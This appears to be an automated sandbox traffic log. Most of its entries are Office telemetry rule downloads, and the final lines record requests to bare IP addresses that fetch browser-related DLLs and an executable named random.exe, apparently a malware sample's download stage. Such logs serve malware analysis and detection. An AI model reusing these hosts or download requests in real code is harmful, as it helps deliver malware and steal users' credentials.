Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
